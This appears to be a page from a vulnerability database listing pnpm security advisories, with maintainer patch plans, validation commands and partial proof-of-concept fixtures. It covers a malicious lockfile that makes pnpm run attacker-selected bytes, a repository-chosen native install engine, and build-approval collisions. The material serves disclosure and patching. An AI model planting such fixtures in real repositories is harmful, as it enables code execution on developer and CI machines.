prepatch_deleted_global_bin_parent=true ``` It then validates the patched implementation: ```bash ./node_modules/.bin/tsgo --build bins/resolver/tsconfig.json ./node_modules/.bin/tsgo --build global/commands/tsconfig.json ./node_modules/.bin/eslint bins/resolver/src/index.ts bins/resolver/test/index.ts global/commands/test/globalRemove.test.ts cd bins/resolver NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts --runInBand cd global/commands NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/globalRemove.test.ts -t "global remove ignores reserved manifest bin names" --runInBand cargo fmt --manifest-path pacquet/crates/cmd-shim/Cargo.toml --check cargo test --manifest-path pacquet/crates/cmd-shim/Cargo.toml bin_resolver --lib git diff --check -- bins/resolver global/commands/test/globalRemove.test.ts pacquet/crates/cmd-shim .changeset/strange-bin-segments.md pnpm-lock.yaml ``` The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only `path.join(globalBinDir, "good")`. ### Impact Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, | GCVE Database | ||
| High | 8.8 | EPSS 0.3% | CVE-2026-55698pnpm@10 · pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes High8.8EPSS 0.3%GCVE DatabaseCVE-2026-55698 <!-- maintainer-action:start --> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-063` / `GHSA-w466-c33r-3gjp` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm packageManager env lockfile` - Patch area: package-manager env lockfile is re-resolved through trusted registries before execution - Affected packages: `npm:pnpm`, `npm:@pnpm/installing.env-installer` - CWE IDs: `CWE-829`, `CWE-494`, `CWE-345` - Conservative CVSS: `8.8` / `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero. ### Files And Tests To Review - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` - `pnpm/src/switchCliVersion.ts` - `pnpm/src/switchCliVersion.test.ts` - `.changeset/clean-package-manager-registries.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand ./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-063-patched-result.json`. <!-- maintainer-action:end --> ### Summary pnpm can persist package-manager bootstrap metadata in the first YAML document of `pnpm-lock.yaml`. Before the patch, direct pnpm execution trusted an already resolved `packageManagerDependencies` entry when the committed env lockfile contained matching `pnpm` and `@pnpm/exe` versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching. ### Details The vulnerable source-to-sink path was: - `lockfile/fs/src/envLockfile.ts` reads the repository's first YAML lockfile document and validates shape only. - `pnpm/src/main.ts` reaches `switchCliVersion()` when a direct pnpm invocation sees a wanted `pnpm` package manager with `onFail=download`. - `pnpm/src/switchCliVersion.ts` reads the committed env lockfile when package-manager metadata should be persisted. - `installing/env-installer/src/resolvePackageManagerIntegrities.ts` treated `packageManagerDependencies` as resolved when only the `pnpm` and `@pnpm/exe` versions matched. - `engine/pm/commands/src/self-updater/installPnpm.ts` converts env-lockfile `snapshots` and `packages` into the wanted lockfile used by `headlessInstall()`. - `pnpm/src/switchCliVersion.ts` executes the installed `pnpm` binary with `spawn.sync()`. The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: `switchCliVersion()` now re-resolves already present package-manager env-lockfile entries before they can reach `installPnpmToStore()` and `spawn.sync()`. ### PoC Standalone PoC and verification script: The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata: ```json { "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3. | GCVE Database | ||
| High | 7.5 | EPSS 0.2% | CVE-2026-55697pnpm · Repository-controlled configDependencies can select a pacquet native install engine High7.5EPSS 0.2%GCVE DatabaseCVE-2026-55697 <!-- maintainer-action:start --> ## Maintainer Action Plan This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path. - Advisory: `CAND-PNPM-097` / `GHSA-gj8w-mvpf-x27x` - Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-gj8w-mvpf-x27x - Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1 - Shared patch branch: `security/ghsa-batch-2026-06-09` - Patch commit: `a93449314f398cf4bdf2e28d033c02d37395ad22` - Base commit: `origin/main` `55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec` - Maintainer priority: `start-here` - Component: `pnpm configDependencies / pacquet delegation` - Patch area: pacquet/configDependency lifecycle execution is not used as install engine without trust - Affected packages: `npm:pnpm`, `npm:@pnpm/config.reader`, `npm:@pnpm/installing.commands` - CWE IDs: `CWE-829`, `CWE-78`, `CWE-494` - Conservative CVSS: `7.5` / `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` - Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory. ### Expected Patched Behavior config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created. ### Files And Tests To Review - `config/reader/src/Config.ts` - `config/reader/src/types.ts` - `config/reader/src/configFileKey.ts` - `config/reader/src/index.ts` - `config/reader/test/index.ts` - `installing/commands/src/installDeps.ts` - `installing/commands/test/runPacquet.ts` - `pnpm/test/install/pacquet.ts` - `.changeset/lucky-config-plugin-pnpmfiles.md` ### Focused Validation Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed. ```bash ./node_modules/.bin/tsgo --build config/reader/tsconfig.json ./node_modules/.bin/tsgo --build installing/commands/tsconfig.json ./node_modules/.bin/tsgo --build pnpm/tsconfig.json NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/runPacquet.ts --runInBand NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "config dependency code allowlists|user-level preference settings" --runInBand ./node_modules/.bin/eslint config/reader/src/Config.ts config/reader/src/types.ts config/reader/src/configFileKey.ts config/reader/src/index.ts config/reader/test/index.ts installing/commands/src/installDeps.ts installing/commands/test/runPacquet.ts pnpm/test/install/pacquet.ts git diff --check ``` The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is `results/CAND-PNPM-097-patched-result.json`. <!-- maintainer-action:end --> ### Summary pnpm can install `configDependencies` declared in `pnpm-workspace.yaml` before command dispatch. Before the patch, a repository could declare `pacquet` or `@pnpm/pacquet` as a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific `@pacquet/<platform>-<arch>/pacquet` binary from `node_modules/.pnpm-config/<packageName>` and spawned it as the developer or CI user. ### Details The vulnerable source-to-sink path was: - `config/reader/src/getOptionsFromRootManifest.ts` copies repository `pnpm-workspace.yaml` `configDependencies` into config. - `pnpm/src/getConfig.ts` installs config dependencies before command dispatch. - `installing/env-installer/src/resolveAndInstallConfigDeps.ts` resolves the repository-declared dependency and its optional platform subdependencies. - `installing/env-installer/src/installConfigDeps.ts` fetches, imports, and symlinks the config dependency tree under `node_modules/.pnpm-config`. - `installing/commands/src/installDeps.ts` selected pacquet delegation whenever `configDependencies` contained `pacquet` or `@pnpm/pacquet`. - `installing/deps-installer/src/install/index.ts` called `opts.runPacquet` from frozen and materialization paths. - `installing/commands/src/runPacquet.ts` resolved `@pacquet/${process.platform}-${process.arch}/pacquet` from the installed config dependency package and executed it with `spawn()`. Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine. ### PoC Standalone PoC and verification script: Repository fixture: ```yaml packages: - . configDependencies: pacquet: 0.2.2 ``` Registry package shape: ```json { "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@pacquet/darwin-arm64": "0.2.2" } } ``` Platfo | GCVE Database | ||
| High | 7.5 | EPSS 0.2% | High7.5EPSS 0.2%GCVE DatabaseCVE-2026-55487 ## Summary Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123. Merged upstream commit `bf1b731ee6` fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value. ## Security boundary - Registry dependency identities still normalize legitimate peer suffixes and retain patch hashes. - Git, URL, tarball, file, directory, and otherwise opaque identities must match the complete resolved locator byte for byte. - Explicit denials use the same normalization as approvals. - Ignored-build output preserves the exact opaque identity, so the key pnpm asks a user to approve is the key policy later checks. - TypeScript pnpm and pacquet implement the same distinction between registry and opaque identities. ## Exploit replay - With `allowBuilds` approving `foo@https://host/pkg.tgz`, the upstream implementation also accepted `foo@https://host/pkg.tgz(evil)` because both passed through peer-suffix removal. - An independent review found a second Rust-only form: `foo@https://host/pkg@1.0.0(good)` and `foo@https://host/pkg@1.0.0(evil)` collided because the parser selected the final `@` and misclassified the opaque URL as a registry package. - A final review found the same parser hazard in source-only locators ending in a semver-looking tail: approval for `https://host/pkg@1.0.0` could collapse `https://host/pkg@1.0.0(evil)`. - The final patch rejects all three collision forms, applies the same exactness to deny rules, accepts exact opaque keys as positive controls, and continues to accept registry packages approved without their peer suffixes. ## Files changed - `building/policy/src/index.ts` and `building/policy/test/index.ts` normalize only parsed registry identities and retain exact opaque keys. - `pacquet/crates/package-manager/src/build_modules.rs` passes snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators. - `pacquet/crates/package-manager/src/build_modules/tests.rs` covers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility. - `.changeset/quiet-opaque-build-identities.md` records patch releases for `@pnpm/building.policy` and `pnpm`. ## Commands run ```text $ jest building/policy/test/index.ts --runInBand 16 passed $ cargo test -p pacquet-package-manager build_modules::tests -- --nocapture 49 passed $ cargo fmt --all -- --check PASS $ git diff --check 84bb4b1a046f3a659de1c9aab1d45dcf814124ce...HEAD PASS ``` ## Validation - The TypeScript policy suite passed all 16 tests. - The final pacquet build-policy suite passed all 49 tests. - The new Rust regression reproduced the extra-`@` collision before the additive fix and passed afterward. - Exact opaque approval and denial, source-only semver-tail collision rejection, registry peer normalization, and ignored-build reporting all have paired tests. - ESLint passed on the changed TypeScript source and test files. - Rust formatting and diff checks passed; the branch is clean and consists of three focused security commits plus additive merges of upstream through `84bb4b1a046f3a659de1c9aab1d45dcf814124ce`. - The focused TypeScript suite and ESLint ran directly through the installed harness. The isolated project build cannot resolve workspace packages without a local install, and the configured registry gateway returns HTTP 403 while fetching `@pnpm/pacquet@0.11.2`; no candidate-focused test failed. ## Patches `10.34.2`: https://github.com/pnpm/pnpm/commit/14bceb1e0b2a71f4f670774db261feb03f38ec23 `11.5.3`: https://github.com/pnpm/pnpm/commit/bf1b731ee6c0ea98709e671ff0f46bf654480ab8 ## Compatibility Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes. ## CI note GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability --- Written by an agent (Codex, GPT-5). | GCVE Database |
Page 13 of 1,369